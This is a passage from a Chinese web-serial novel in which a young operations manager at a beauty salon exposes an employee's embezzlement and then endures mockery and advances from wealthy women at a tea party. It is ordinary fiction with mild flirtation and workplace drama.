我穿好衣服,转过身看着她:“嫂子,今晚我睡在门口走廊的椅子上。林强那个疯子说不定还会回来,有我在,他进不来。”
苏婉愣了一下,看着我坚定的眼神,眼眶又湿了。她点了点头,轻声说:“那……你也别太累了。早点休息。”
那一夜,我确实守在门口。苏婉在屋里睡,我在走廊的椅子上坐着,手里握着那把从秦红车上顺来的扳手。
第10章 一块小鲜肉
第二天,我顶着两个黑眼圈去了店里。
秦红已经在办公室等我了。她今天穿了一身干练的灰色西装,正在翻看昨天的监控录像。
“坐。”她指了指对面的椅子,扔给我一份文件,“看看这个。”
我坐下,翻开文件。那是美容院上半年的财务报表和员工考勤记录。
“林远,昨天你表现不错,是个爷们儿。”秦红靠在椅背上,手里转着一支钢笔,“但是,光能打有什么用?那是莽夫。在我这儿,想往上爬,得靠脑子。”
我有些不好意思地挠挠头:“秦总,我……我不太懂管理。”
“不懂可以学。”秦红身子前倾,目光锐利地盯着我,“苏婉那边,我已经帮你安顿好了,她今天在家休息。而你,从今天开始,我要交给你一个真正的任务。”
她指着那份报表:“上个月,咱们店的库存损耗率高达百分之八,远超行业标准。财务查不出来,我也没空一个个去审。我给你三天时间,去库房,去前台,去查账。找出漏洞在哪里,是谁在搞鬼。如果你能解决,运营总监的位置,你坐稳了。如果解决不了……”
她没说完,但意思很明显。
“秦总,我接!”我合上文件,眼神坚定。我知道,这是我在这个城市立足的唯一机会。
接下来的三天,我像个陀螺一样转个不停。
白天,我钻进满是灰尘的库房,对着堆积如山的产品箱,一个个核对入库单和出库单。晚上,我坐在宿舍的台灯下,对着密密麻麻的Excel表格,分析每一个数据异常。
我发现,库存的流失并不是因为**,而是流程上的漏洞。前台登记和库房发货之间存在时间差,有些美容师利用这个时间差,私自给熟人做护理,不入系统,钱直接进了个人腰包。
而那个带头的人,竟然是店里的资深美容师,也是秦红的一个远房亲戚,大家都叫她“张姐”。
第三天下午,我拿着整理好的报告和证据,走进了秦红的办公室。
“查出来了?”秦红正在喝茶,看到我手里厚厚的文件,挑了挑眉。
“是。”我把报告放在桌上,“漏洞在前台和库房的交接环节。张姐利用职务之便,这半年私吞了至少五万块的业绩。”
秦红翻看着报告,脸色越来越沉。最后,她合上文件,看着我:“证据确凿。林远,做得好。”
“那……怎么处理?”我问道。
“公事公办。”秦红拿起电话,“叫张姐来我办公室。”
十分钟后,张姐哭着从办公室走了出来,手里拿着离职单。
秦红看着窗外,淡淡地说道:“林远,记住,在职场上,仁慈就是对集体的残忍。你这次不仅帮公司挽回了损失,更重要的是,你立住了威信。以后,没人敢再把你当成那个只会搬东西的小助理了。”
我深吸一口气,感觉心里的一块大石头落了地。
“谢谢秦总栽培。”
“别急着谢。”秦红转过头,嘴角勾起一抹玩味的笑,“今晚苏婉回来上班,你陪我去接她。另外……”
她顿了顿,眼神变得意味深长:“你嫂子那边,离婚手续已经在走了。林强那个浑蛋虽然难缠,但律师会搞定。在这期间,你把握好分寸。别让我失望,也别让她失望。”
……
苏婉走的那天,是个阴天。
她没有大张旗鼓的告别,只是给我发了一条微信:“小远,我去开发区分店了。秦总提拔我当店长,那边清净,离你哥远。你自己保重。”
我看着手机屏幕,心里空落落的。
开发区离市区有四十多公里,那是秦红刚盘下来的新地盘,说是分店,其实就是个烂摊子,急需人去收拾。苏婉这是主动请缨,既是想躲开林强那个疯子,也是想给自己找个地方舔舐伤口。
虽然都在一个公司,但这下子,想见一面可就不容易了。
回到店里,那种压抑的气氛似乎随着苏婉的离开消散了一些,取而代之的,是一种让我这个单身汉有些招架不住的“热闹”。
苏婉不在,店里的女孩子们似乎放飞了自我,而我,成了她们新的“解压玩具”。
下午三点,正是店里客人最少的时候。我正趴在吧台上核对库存,突然感觉后背一阵温热。
“小林弟弟,这个精油的味道好奇怪哦,你帮我闻闻是什么味儿?”
一个甜腻的声音在耳边响起,伴随着一阵热气。
我浑身一激灵,回头一看,是店里新来的美容师小雅。这姑娘刚满二十,长得跟个水蜜桃似的,制服扣子永远只扣到胸口,露出一大片雪白的肌肤。
此刻,她正把一条胳膊搭在我肩膀上,手里拿着个精油瓶,整个人几乎贴在我身上。
“小雅姐,这……这是薰衣草,安神用的。”我僵硬地往后缩了缩,试图拉开距离。
“哎呀,你躲什么?”小雅咯咯笑着,不仅没退,反而更凑近了些,手指在我胸口画着圈圈,“姐姐最近失恋了,心里难受,你就不能借个肩膀给姐姐靠靠嘛?你看你这胸肌,练得这么硬,靠着肯定舒服。”
周围几个正在补妆的女员工都捂着嘴偷笑,眼神里满是戏谑。
“就是啊小林,小雅这么喜欢你,你就从了她吧!”
“小林现在是运营总监了,眼光高了呢!”
我被她们起哄得满脸通红,正想找个借口溜走,前台的电话响了。
“林总监,3号VIP包厢的王太点名要您送果盘。”
我如蒙大赦,赶紧推开小雅:“那个……王太在等,我先去送果盘!”
逃也似的跑到包厢门口,我深吸了一口气,整理了一下衣服。
这个王太,就是上次在酒桌上差点把我“吃”了的那个富婆。自从那晚我替她挡酒、背她上厕所(虽然是被迫的)之后,她似乎对我产生了浓厚的兴趣,每次来都要点名找我服务。
推开门,王太正躺在按摩椅上,身上盖着一条薄薄的丝巾,脸上敷着面膜,只露出一双眼睛。
“小林来了?”她声音慵懒,透着一股子媚意。
“王太,您的果盘。”我把果盘放在桌上,正准备撤退。
“急什么?过来,帮阿姨按按肩。”王太拍了拍身边的位置,“上次你按得不错,阿姨这几天浑身酸痛,正想着你呢。”
我硬着头皮走过去,站在她身后,隔着丝巾在她肩膀上捏了几下。
“哎哟……轻点……再往下一点……”王太舒服地呻吟着,一只手却悄悄伸过来,抓住了我的手,放在她的脸颊边蹭了蹭,“小林啊,你这手真暖和。阿姨最近睡眠不好,晚上要是能有人陪我说说话就好了。你晚上有空吗?阿姨请你吃宵夜。”
她的手滑腻腻的,带着一股昂贵的护手霜味道。
我尴尬地抽回手:“王太,真不巧,我晚上还要加班,秦总给我安排了任务。”
“又是秦红!”王太不满地嘟囔了一句,突然坐起来,一把拉住我的领带,把我拽得弯下腰,脸凑到我面前,“小林,你老实告诉阿姨,你是不是不喜欢女人?还是……你喜欢秦红那种类型的?”
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我吓得赶紧后退:“没!没有!王太您误会了!”
“那你怎么对阿姨这么冷淡?”王太似笑非笑地看着我,眼神在我身上扫视,“你看你这身板,这脸蛋,要是跟了阿姨,阿姨保证让你少奋斗二十年。房子车子都不是问题,只要你……”
她说着,手指轻轻划过我的喉结。
我感觉自己像是一只掉进盘丝洞的唐僧,周围全是想吃唐僧肉的妖精。
“王太!秦总找您!”
就在我快要顶不住的时候,前台小妹突然推门进来,虽然她是故意的,但对我来说简直是救命稻草。
王太不满地啧了一声,松开了手:“扫兴!秦红这个老女人,整天就知道霸占着小林。”
我逃命似地跑出包厢,后背都被冷汗浸湿了。
回到大厅,小雅和其他几个女员工还在。看到我狼狈的样子,她们笑得更欢了。
“哟,林总监,王太没把你留下来过夜啊?”小雅眨巴着大眼睛,一脸坏笑。
“去去去,别拿我开玩笑。”我没好气地瞪了她一眼,心里却有些烦躁。
这种日子,虽然不像之前那样惊心动魄,但也让人心神不宁。
晚上,我拖着疲惫的身体回到宿舍。
刚进门,手机就响了。是苏婉发来的视频邀请。
我眼睛一亮,赶紧接通。
屏幕上出现了苏婉的脸。她穿着睡衣,头发湿漉漉的,显然刚洗完澡。背景是一个陌生的房间,看起来比市区的宿舍要宽敞一些。
“小远,吃饭了吗?”苏婉的声音温柔依旧,带着一丝关切。
“吃了,嫂子你呢?”我看着她,心里的烦躁瞬间消散了不少。
“我也吃了。”苏婉笑了笑,“这边环境挺好的,秦总给我安排了一室一厅的公寓,就在分店楼上。虽然离你远了点,但至少……清净。”
我知道她说的是林强。
“那就好。”我挠了挠头,“嫂子,你在那边一个人,要注意安全。要是林强去找你……”
“他找不到的。”苏婉摇了摇头,“这边的客户我都还没完全接手,每天忙得很,也没空想那些乱七八糟的事。倒是你……”
她顿了顿,眼神变得有些探究:“你在店里怎么样?秦总没给你太大压力吧?还有……那些女孩子,没欺负你吧?”
我一愣,没想到她消息这么灵通:“没……没有。就是……有点吵。”
“噗……”苏婉笑出了声,“我就知道。你长得这么……老实,又是个男的,在那种全是女人的地方,肯定会被她们当稀罕物一样逗。”
看着她笑靥如花的样子,我心里涌起一股暖流。
虽然隔着屏幕,虽然隔着几十公里,但这种感觉,比刚才被那些富婆和美女围着还要让人心动。
挂了视频,我躺在床上,看着天花板发呆。
苏婉走了,我的生活似乎又回到了原点,但又好像哪里不一样了。
那些年轻女孩的热情,那些富婆的诱惑,都让我感到一种莫名的空虚。
苏婉走后店里的一切照旧,可能老天爷也看出了我不开心,这天一直在下雨。。
滨海市本来就是个沿海超市,连续下了三天雨不管是家里还是店里都很潮湿。
我站在前台整理VIP客户的档案,手机突然震动了起来,拿起来看了一下是王太打来的。
“小林啊,下午有空吗?”电话那头的声音很随意,像是在问一件微不足道的小事,“阿姨这边有个姐妹茶会,都是些闲得发慌的女人,你过来坐坐,帮阿姨撑撑场面。”
第11章 老姐姐们的茶话会
我心里一紧。秦红说过,王太这个人精明得很,她不会无缘无故请我一个打工的去参加什么“姐妹茶会”。
“王太,这……合适吗?我就是个打工的,去了怕给您丢人。”
“丢什么人?”王太笑了,笑声里带着点意味深长,“你上次在酒桌上不是挺能说的吗?放心,就是几个老姐妹喝喝茶、聊聊天,没什么大场面。再说了——”
她顿了顿,语气变得认真了几分:“阿姨在你这儿办了这么多卡,让你来陪阿姨喝杯茶,不过分吧?”
话说到这个份上,我不好再拒绝。
“行,王太您发地址给我,我下午过去。”
挂了电话,我深吸一口气,转身往秦红的办公室走。
办公室里,秦红正在看一份文件。听到敲门声,她头也没抬:“进来。”
“秦总,王太刚才打电话来,让我下午去参加一个什么茶会。”
秦红的手顿了一下,抬起头看我。她的眼神在我脸上停留了几秒,然后放下笔,靠在椅背上。
“她倒是动作快。”
“秦总,您知道这个茶会?”
“知道。”秦红点了点头,嘴角勾起一个意味深长的弧度,“滨海市富太圈每个月都有这么一次聚会,地点轮流换,这次应该是轮到王太做东了。说是喝茶聊天,其实就是一群有钱有闲的女人凑在一起,炫耀炫耀老公,攀比攀比孩子,顺便——”
她看了我一眼,眼神里多了一点我看不懂的东西。
“看看有没有什么新鲜玩意儿。”
“新鲜玩意儿?”我愣了一下。
“林远,”秦红站起身,走到我面前,伸手帮我整了整衣领,动作自然地像是在做一件**以为常的事,“你知道王太为什么对你感兴趣吗?”
我摇了摇头。
“因为你跟她们圈子里的人不一样。”她的声音很平静,“你是乡下来的,老实、干净、没见过世面。对她们来说,你就像是一块——”
她顿了顿,指尖在我的领口轻轻划过。
“没被啃过的骨头。”
这个比喻让我后背一阵发凉。
“那我不去了。”
“不,你得去。”秦红收回手,走回办公桌后面坐下,“王太开了口,你不去就是扫她的面子。而且——”
她从抽屉里拿出一个文件夹,扔到我面前。
“这里面是今天茶会可能会到场的几位太太的资料。赵太太、李太太、孙太太、周太太……每个人的喜好、忌讳、家庭情况,都在里面了。你下午去之前,给我背熟。”
我翻开文件夹,里面密密麻麻地记着十几位富太的信息。有些是打印的,有些是手写的,字迹潦草但清晰。
“赵太太,四十二岁,丈夫做建材生意,最近两年生意不太好。儿子在国外读书,平时一个人住。喜欢兰花,讨厌烟味。皮肤偏干,有轻微敏感……”
“秦总,这些资料……”
“做了这么多年生意,总得有点积累。”秦红端起咖啡抿了一口,“不过我提醒你,那些女人一个比一个精,你要是表现得像背课文,她们一眼就能看出来。”
她放下咖啡杯,目光透过杯沿看着我。
“记住三件事:第一,少说多听;第二,别跟任何人起冲突,尤其是孙曼丽——她今天可能也会去;第三——”
她的语气突然变得认真,认真得让我有些紧张。
“别让任何人觉得你是个可以随便捏的软柿子。王太带你去,不是让你去当花瓶的。那些女人要是对你动手动脚,你该躲就躲,该挡就挡。实在不行——”
她顿了顿,嘴角勾起一个似笑非笑的弧度。
“就说是秦红的人,碰坏了赔不起。”
我愣了一下,脸有点发烫。
“秦总,我知道了。”
“去吧。”她挥了挥手,“换身干净衣服,别穿你那件批发市场的白衬衫。”
茶会在滨海市老城区的一栋别墅里。
说是别墅,其实更像是一座小型庄园。铁艺大门后面是一条长长的林荫道,两边种着修剪整齐的法国梧桐。车子开进去的时候,刚好起风了,树叶沙沙作响,像是在窃窃私语。
我在门口报了名字,一个穿着黑色西装的管家带我穿过花园,走进了一间宽敞的茶室。
门推开的那一刻,十几道目光齐刷刷地扫过来。
茶室
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里坐着十二三个女人,一个个穿金戴银,珠光宝气。空气里飘着茶香和香水混合的味道,浓得发腻。长条形的茶桌两边坐满了人,主位上坐着的却不是王太——是一个五十岁左右的女人,烫着精致的卷发,脖子上挂着一串鸽子蛋那么大的翡翠项链,浑身上下散发着一种“我很有钱,而且我知道我很有钱”的气场。
王太坐在她左手边,看到我进来,眼睛一亮,招手示意我过去。
但还没等她开口,主位上那个女人的目光已经落在了我身上。
那种目光让人很不舒服。不是审视,是打量——像在菜市场看一块肉,看它新不新鲜、值多少钱。
“王太,这就是你说的那个小伙子?”她开口了,声音不高,但每个字都带着一种不容置疑的分量。
“是啊,周太,这就是我跟你提的小林。红颜的运营总监,别看年轻,本事大着呢。”王太笑着介绍,语气里带着点炫耀。
周太——我在秦红的资料里见过这个名字。周太,滨海市美容协会会长,丈夫是滨海市某个区的一把手。在这个圈子里,她不是最有钱的,但绝对是最有权的。
她上下打量了我一眼,嘴角挂着一个似笑非笑的弧度。
“运营总监?”她端起茶杯,抿了一口,语气漫不经心,“秦红现在招人,是看脸不看能力了吗?”
茶室里响起几声轻笑。
我的脸一下子烧了起来,但还是硬着头皮鞠了一躬:“周太好。”
“走近点,让我看看。”周太放下茶杯,朝我勾了勾手指。
那个动作,像是在叫一条狗。
我心里涌起一股火,但还是压了下去,往前走了一步。
周太的目光在我脸上扫了一圈,从眉毛看到下巴,又落到我的肩膀上。
“嗯,长得确实不错。”她点了点头,像是在评价一件商品,“皮肤也好,白净。秦红从哪儿找来的人?”
“周太,我是乡下来的——”我开口解释。
“乡下来的?”周太挑了挑眉,打断了我,“难怪,一股子土味儿。”
这次笑的人更多了,我的指甲掐进了掌心里,但脸上还得陪着笑。
第12章 尊严是自己给的
“行了,别站着了,坐下吧。”周太挥了挥手,像是打发一个下人。
我在茶桌最末尾的一个位置坐下,离主位隔了七八个人。王太皱了皱眉,似乎想说什么,但看了周太一眼,又把话咽了回去。
茶会继续进行。太太们聊的话题我插不上嘴,也不想插嘴。什么“我老公上个月又拿了一块地”、“我儿子在哈佛的成绩是全A”、“LV今年限量款我排了三个小时才买到”……每一句话都在提醒我:你不属于这里。
我坐在角落里,给各位太太续茶、递点心,尽量让自己隐形。
但有人不想让我隐形。
茶会进行到一半的时候,坐在我对面的一个女人突然开口了。她四十岁左右,烫着大波浪卷发,妆容浓艳,耳朵上挂着两个明晃晃的大耳环,浑身上下散发着一种“我很有钱”的气场。
“小林是吧?”她端着茶杯,嘴角挂着一个意味深长的笑,“听说你是秦红的……什么人?”
她故意在“什么人”三个字上加重了语气。
“我是红颜的运营总监。”我尽量让声音听起来平静。
“运营总监?”她笑了,笑声里带着明显的嘲讽,“秦红那店里全是女人,你一个大小伙子在里面当总监,天天被一群莺莺燕燕围着,吃得消吗?”
几个太太掩嘴偷笑。
“李太太说笑了。”我低着头,不想接这个话茬。
“说什么笑啊。”李太太放下茶杯,目光在我身上扫来扫去,“我就是好奇,你在那种地方上班,你女朋友不介意吗?”
“我没有女朋友。”
“没有?”李太太的眼睛亮了一下,身体往前倾了倾,“那……你喜欢什么样的?姐姐给你介绍一个?”
旁边一个年轻些的太太插嘴了:“李太太,你别吓着人家小孩子。人家看着就是老实人,哪经得起你这么逗?”
“老实人?”李太太笑了,“在秦红店里待着的,能有什么老实人?”
这句话说得很难听。
我的脸涨得通红,但还是忍着没有开口。
王太看不下去了,开口打圆场:“行了行了,人家是来喝茶的,你们别拿人家寻开心了。”
“王太,你心疼了?”李太太似笑非笑地看着王太,“也是,你这么护着他,该不会——”
“李太太!”王太的脸沉了下来,“说话注意点分寸。”
茶室里的气氛一下子冷了下来。
周太端着茶杯,面无表情地看着这一幕,像在看一出与自己无关的戏。
“好了,”周太终于开口了,声音不高,但所有人都安静了下来,“人家是客人,别太过分了。”
李太太撇了撇嘴,不再说话了。
但她的目光还是黏在我身上,像一条蛇,凉飕飕的。
我低下头喝茶,心跳得很快,手心里全是汗。
——这地方,比我想象的还难待。
茶会继续进行,但我能感觉到,那些太太们看我的眼神变了。不是看一个人,是看一件东西。一件可以随便评头论足、随便拿来取乐的东西。
过了一会儿,李太太站起来,说要去洗手间。她从我身边经过的时候,“不小心”崴了一下脚,整个人朝我身上倒过来。
我下意识地伸手去扶,她的手搭在我的胳膊上,指甲涂着鲜红的颜色,陷进我的袖口里。
“哎呀,不好意思。”她站稳了,但没有松手,反而顺势在我胳膊上捏了一下,“小林,你扶姐姐去洗手间好不好?姐姐脚有点疼。”
她的声音不大,但旁边的几位太太都听到了。
有人掩嘴偷笑,有人交换了一个意味深长的眼神。
“李太太,我让服务员来扶您——”我试图抽出手。
“服务员哪有你细心?”她打断我,手指在我的胳膊上慢慢滑下来,语气里带着一种让人不舒服的亲昵,“上次王太说你按摩的手法好,姐姐也想试试。”
她的手指滑到我的手腕,轻轻握住了。
那种触感让人浑身起鸡皮疙瘩。不是心动,是恶心。
“李太太,”我轻轻抽出手,脸上挂着笑,但语气不软,“洗手间出门左转就到了。如果李太太脚真的不舒服,我建议您去医院看看。我是做运营的,不是做按摩的。”
李太太的表情僵了
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一下,旁边传来一声轻笑——是周太。
“行了,李太太,别为难人家小孩子了。”周太端着茶杯,语气淡淡的,但眼神里有一种让人说不清的东西,“人家是来喝茶的,不是来伺候人的。”
李太太的脸红了一下,讪讪地松了手,自己走了出去。
茶室里安静了几秒,周太看着我,嘴角的笑意加深了。
“小林,你过来坐。”她拍了拍身边的位置。
我犹豫了一下,走过去坐下。
这个距离,我能闻到她身上的香水味——不是那种甜腻的廉价香水,是一种很淡的、若有若无的兰花香。
“你刚才说你是运营总监,”周太给我倒了一杯茶,动作不紧不慢,“那你告诉我,运营总监是干什么的?”
“就是管店里的日常运营,包括人员管理、库存管理、客户维护——”
“这些谁都能做。”周太打断我,目光锐利地盯着我,“我问你一个大的——你觉得滨海市的高端美容市场,未来三年会怎么走?”
这个问题一出,茶室里安静了下来。
所有人都看着我。
我知道这不是普通的闲聊。周太在考我。如果我说得好,她可能成为红颜的贵人;如果说得不好,今天这场茶会,我就是个笑话。
我深吸了一口气,脑子里快速翻着秦红给我的资料,以及我这一个月在红颜观察到的东西。
“周太,我觉得未来三年,滨海市的高端美容市场会洗牌。”
“洗牌?”周太挑眉。
“对。”我拿起桌上的一支笔,在一张便签纸上画了一个简单的图表,“现在的滨海市场,大大小小有三十多家美容院,但真正做高端的只有五六家。这五六家里,大部分走的是‘服务路线’——服务好、环境好,但产品同质化严重。客户今天在你家做,明天去别家做,没有忠诚度。”
我在纸上画了一个圈。
“未来三年,谁能解决‘客户忠诚度’的问题,谁就能活下来。怎么解决?不是靠服务——服务谁都能复制。是靠数据和产品。”
“数据?”周太的眼神变了一下。
第13章 孙曼丽
“对。”我放下笔,“每个客户的皮肤状况、消费习惯、喜好禁忌——这些数据如果积累起来,就能做到真正的‘私人定制’。客户离开你,就等于从头开始。她不会走。”
茶室里安静了几秒。
周太看着我,嘴角的笑意慢慢加深了。
“有点意思。”她端起茶杯,抿了一口,“你是哪个学校毕业的?”
“省城大学,市场营销专业。”
“省城大学?”周太点了点头,“不是什么名校,但比我想的有脑子。”
这话不知道是夸还是骂。
就在这时,茶室的门被推开了,孙曼丽走了进来。
她穿着一件香奈儿套装,头发盘得一丝不苟,妆容浓艳,浑身上下散发着一种“我很贵,而且我知道你很穷”的气场。
“哟,来晚了来晚了,路上堵车。”她笑着跟众人打招呼,声音又尖又亮,像一把刀子划过玻璃。
她的目光扫过茶室,落在我身上,然后——
停住了。
那种眼神我见过。小时候在村里,黄鼠狼钻进鸡窝的时候,就是这种眼神。
“这位是——”她故作疑惑地看着我,嘴角挂着一个意味深长的弧度。
“红颜的林总监。”王太不咸不淡地介绍,“秦红的人。”
“哦——”孙曼丽拉长了音调,在我对面坐下,翘起二郎腿,“秦红现在都沦落到让男人出来撑场面了?也是,她那店里的小姑娘,一个比一个不中用,确实得找个男的来镇场子。”
她端起茶杯,目光在我身上扫来扫去,像是在看一件商品。
“不过也是,长得确实不错。秦红别的不行,挑男人的眼光还是有的。”
这话说得更难听了。
我的脸烧得厉害,但还是忍着没有开口。
“孙总说笑了。”我尽量让声音听起来平静,“秦总让我出来,是因为有些场合,男人出面更方便。”
“更方便?”孙曼丽笑了,笑声里带着明显的嘲讽,“小朋友,你知道这些姐姐们平时怎么评价秦红店里的男员工吗?”
她故意停顿了一下,目光扫过在场的太太们。
“她们说啊,秦红店里的男人,不是用来做事的,是用来——”
她做了一个暧昧的手势。
“——暖床的。”
茶室里响起一阵哄笑。
我的指甲掐进了掌心里,疼得厉害。
“孙总,”我抬起头,看着她的眼睛,“红颜的员工怎么样,我们的客户最清楚。王太每周来三次,赵太太上个月刚办了五万的卡。如果我们的员工只是用来——”
我顿了顿,学着她的样子,故意放慢了语速。
“——暖床的,那孙总的‘丽人会’,为什么流失了那么多客户?”
茶室里彻底安静了,孙曼丽的脸色变了。
“你什么意思?”
“没什么意思。”我端起茶杯,抿了一口,“我就是听说,孙总店里的男技师流失率挺高的。尤其是那个叫阿Ken的,上个月刚辞职。孙总要不要我帮您分析一下原因?”
孙曼丽的脸涨得通红。
“你——”
“好了好了。”周太终于开口了,语气淡淡的,“曼丽,你跟一个小孩子计较什么?”
孙曼丽深吸了一口气,端起茶杯,不再看我。
但她看我的眼神,像是要把我生吞活剥了。
茶会散场的时候,已经是傍晚了。
夕阳从窗户照进来,把整间茶室染成了橘红色。
太太们三三两两地走了。有人经过我身边的时候,多看了我一眼,眼神里有好奇,有玩味,也有那么一点点——我不知道该不该叫它“尊重”。
李太太走的时候,从我身边经过,脚步顿了一下。
“小林,”她压低声音,语气里没有了刚才的轻佻,“你刚才说的那些数据啊、定制啊……是秦红教你的?”
“不是。是我自己想的。”
她看了我一眼,点了点头,什么都没说,走了。
最后,茶室里只剩下我和周太。
周太站起来,整理了一下裙摆,然后从包里拿出一张名片,放在桌上。
“小林,你的想法不错。但想法是想法,能不能做出来,是另一回事。”
“我知道。”
“知道就好。”她把名片往我这边推了推,“改天来我办公室坐坐。我有些事,想听听你的意见。”
她转身走了。高跟鞋踩在地上,发出有节奏的声响。
我拿起那张名片,上面印着几个烫金的字:滨海市美容协会会长,周玉琴。
下面还有一行小字:滨海市玉琴集团董事长
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我把名片收好,转身往外走。
走到门口的时候,一个人影拦住了我。
孙曼丽靠在门框上,手里夹着一支细长的女士香烟,烟雾缭绕中,她的表情看不太清楚。
“小朋友,”她吐出一口烟,烟圈在空气中慢慢散开,“你今天挺能耐啊。”
“孙总过奖了。”
“过奖?”她笑了,笑声里带着一丝寒意,“你以为怼我几句、哄周太开心,就赢了?”
她往前走了一步,离我很近。近到我能看清她眼角的细纹,和嘴唇上那抹暗红色的口红。
“小朋友,这个圈子比你想象的深。”她抬起手,用夹着烟的那只手,轻轻点了点我的胸口。烟灰落在我的衣服上,留下一小片灰白色的印记。
“你今天出了风头,但风头是要付出代价的。”
她的手指顺着我的胸口慢慢往下滑,滑到领口的位置,停住了。
“秦红一个月给你多少钱?”她问,声音低了几分。
“这不关孙总的事。”
“五千?八千?”她笑了,“你跟了我,我给你三倍。不用你做什么运营总监,就陪我说说话、喝喝茶——”
她抬起眼睛,看着我,眼神里有一种让人不舒服的东西。
“——晚上睡不着的时候,陪陪我。”
她的手指勾住了我的领口,轻轻拽了一下,我往后退了一步。
“孙总,我不是那种人。”
“哪种人?”她笑了,“你以为你今天坐在这里,那些太太们把你当什么人了?”
她松开手,后退了一步,重新靠在门框上,吸了一口烟。
“小朋友,在她们眼里,你就是秦红养着的一个小白脸。什么运营总监,什么大学生,都是笑话。你今天表现再好,在她们心里,你还是那个——”
她吐出一口烟,烟圈打在我脸上。
“——出来卖的。”
每一个字都像针一样扎在我心上。
我想反驳,但张了张嘴,什么都说不出来。
因为她说的是实话,在今天这场茶会上,在那些太太们眼里,我就是那个身份。
孙曼丽看着我的表情,满意地笑了。
“行了,回去好好想想。”她转身走了,高跟鞋的声音在走廊里回荡,“想通了,随时来找我。”
第14章 小白脸
走出别墅的时候,天已经快黑了。
王太在门口等我,手里端着一杯茶,脸上的表情比平时真诚了几分。
“小林,今天表现不错。”她拍了拍我的肩膀,“尤其是怼孙曼丽那几句,解气。”
“王太过奖了。”
“不过奖。”她喝了口茶,目光在我脸上停留了几秒,“但你小心点。孙曼丽这个人,心眼小,睚眦必报。你今天让她在众人面前丢了面子,她肯定会找机会还回来。”
“我知道。”
“知道就好。”王太点了点头,转身往回走,走了几步又停下来,“对了,你那个嫂子……苏婉,她在开发区还好吗?”
“还行,王太怎么突然问起她?”
“没什么。”王太的语气变得有些感慨,“就是觉得那姑娘可惜了。你替阿姨给她带句话——让她别灰心,女人不靠男人也能活得好好的。但是——”
她转过身,看着我,眼神里多了一点意味深长。
“让她离你远点。你现在的身份,跟她走太近,对你不好。”
我愣了一下。
“王太,她是我嫂子——”
“嫂子又不是亲姐姐。”王太打断我,嘴角挂着一个似笑非笑的弧度,“你以为今天那些太太们看不出来?你一提你嫂子,眼神都不一样了。”
我的脸一下子烧了起来。
“行了,别解释了。”王太摆摆手,转身进了门,“解释就是掩饰。回去好好想想,阿姨是为你好。”
门关上了。
我站在庄园门口,看着天边最后一抹晚霞慢慢消散,心里翻涌着一种说不清的情绪。
手机在口袋里震了。
掏出来一看,是苏婉的微信。
“小远,今天忙吗?开发区这边下雨了,你那边呢?”
我抬头看了看天。滨海市的天空**无云,晚霞正在慢慢褪色。
“没下雨,嫂子。你那边还好吗?”
“还好。就是有点冷清。这边晚上**静了,睡不着。”
我看着屏幕,手指悬在键盘上,不知道该怎么回。
王太的话在脑子里转来转去——“你一提你嫂子,眼神都不一样了。”
还有孙曼丽的话——“在她们眼里,你就是秦红养着的一个小白脸。”
我打字:“嫂子,早点休息,门窗锁好。”
“知道了。你也早点睡。”
“好。”
我收起手机,往停车场走。
走到车旁边的时候,我停下来,回头看了一眼那座别墅。
灯火通明,笑声隐隐约约从里面传出来。
那些女人的笑声,尖的、亮的、哑的、媚的,混在一起,像是一群鸟在叫。
我忽然想起小时候在村里,夏天晚上,田里的**也是这样叫的。此起彼伏,你方唱罢我登场。
但**叫是为了求偶,这些女人叫,是为了什么?
我不知道。
但我知道一件事——今天这场茶会,让我看清楚了自己的位置。
在她们眼里,我不是什么运营总监,不是什么大学生。
我就是秦红养着的一个小白脸,一个可以被随便评头论足、随便拿来取乐、随便用钱砸的小白脸。
我拉开车门,坐进去,发动了车子。
后视镜里,那座别墅越来越小,最后变成一个光点,消失在夜色里。
手机又震了,是秦红的消息:“回来了吗?”
“在路上了。”
“周太怎么说?”
“给了我一张名片。”
电话那头沉默了几秒。
然后秦红发了一个笑脸的表情。
“行啊,林远。周太的名片,我在滨海混了十年才拿到。你一个月就拿到了。”
我看着屏幕,不知道该回什么。
她又发了一条:“怎么了?不高兴?”
我打字:“红姐,她们是不是都把我当成……”
打到这里,我停住了。
删掉。
重新打:“没事,就是有点累。回去再说。”
“好。路上小心。”
我放下手机,踩下油门。
车子驶入主路,汇入车流。滨海市的夜晚灯火辉煌,霓虹灯把整条街照得像白天一样亮。
但我知道,那些灯照不到的地方,阴影正在慢慢聚拢。
孙曼丽说“等着瞧”。
那就等着瞧吧。
茶会之后,秦红对我的态度明显不一样了。
以前她看我,像是在看一个需要打磨的毛坯——有用,但还
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不成器。现在不一样了。那天晚上我回到店里,她把周太的名片翻来覆去看了好几遍,然后抬起头,用一种我从没见过的眼神看着我。
“林远,你知道周太的名片意味着什么吗?”
“不知道。”
“意味着滨海市美容行业的大门,朝你开了一条缝。”她把名片还给我,靠在椅背上,“我在滨海混了十年,她才给我一张名片。你一个月就拿到了。”
她顿了顿,嘴角勾起一个笑。
“我果然没看错人。”
从那天起,秦红开始让我参与核心事务。VIP客户的维护方案、新项目的引进谈判、店里的财务审批——以前这些都是她一手抓,现在她开始让我接手。
“别高兴太早。”她扔给我一沓文件的时候说,“这些都是苦活累活,做好了是应该的,做砸了你自己看着办。”
我知道这是她的方式——越是看重一个人,嘴上就越不饶人。
但店里的其他人不一样,尤其是那些年轻的美容师们。
以前她们看我,眼神里带着点戏谑,像是在看一个误入盘丝洞的唐僧。现在不一样了。那种戏谑变成了某种我说不清的东西——好奇?欣赏?还是别的什么?
每天早上我走进店里,前台的小妹会主动帮我倒一杯咖啡,放在我常坐的位置上。中午我去食堂吃饭,总有人“恰好”多带了一份水果,放在我餐盘旁边。
下午盘点库房的时候,总有人“恰好”路过,帮我搭把手,顺便聊几句。
“林总监,你今天穿的这件衬衫真好看。”
“林总监,你用的什么洗发水?头发好软啊。”
“林总监,你晚上一个人住在宿舍里,不无聊吗?要不要来我们房间看电影?”
每一次,我都找借口推掉了。但她们的热情不减反增,像一群猫围着一块鱼干,转来转去,随时准备伸出爪子。
其中,最主动的是小雅。
自从苏婉走后,小雅就像是盯上了我。以前她只是偶尔撩拨几句,现在变本加厉——送奶茶、带早餐、帮我整理文件、在我加班的时候“恰好”也留下来。
我每次都客客气气地拒绝,但她从来不恼,反而笑得更甜。
第15章 小雅的热情
“林总监,你这个人好奇怪哦。”
“哪里奇怪?”
“别人对我这么好,早就动心了,你怎么一点反应都没有?”
“我有反应。”我指了指桌上的文件,“我在加班。”
她笑了,笑得很开心。
“你真是个木头。”
她转身走了,马尾在脑后轻轻晃动。但我注意到,她走的时候,回头看了我一眼。
那个眼神,和平时不一样。
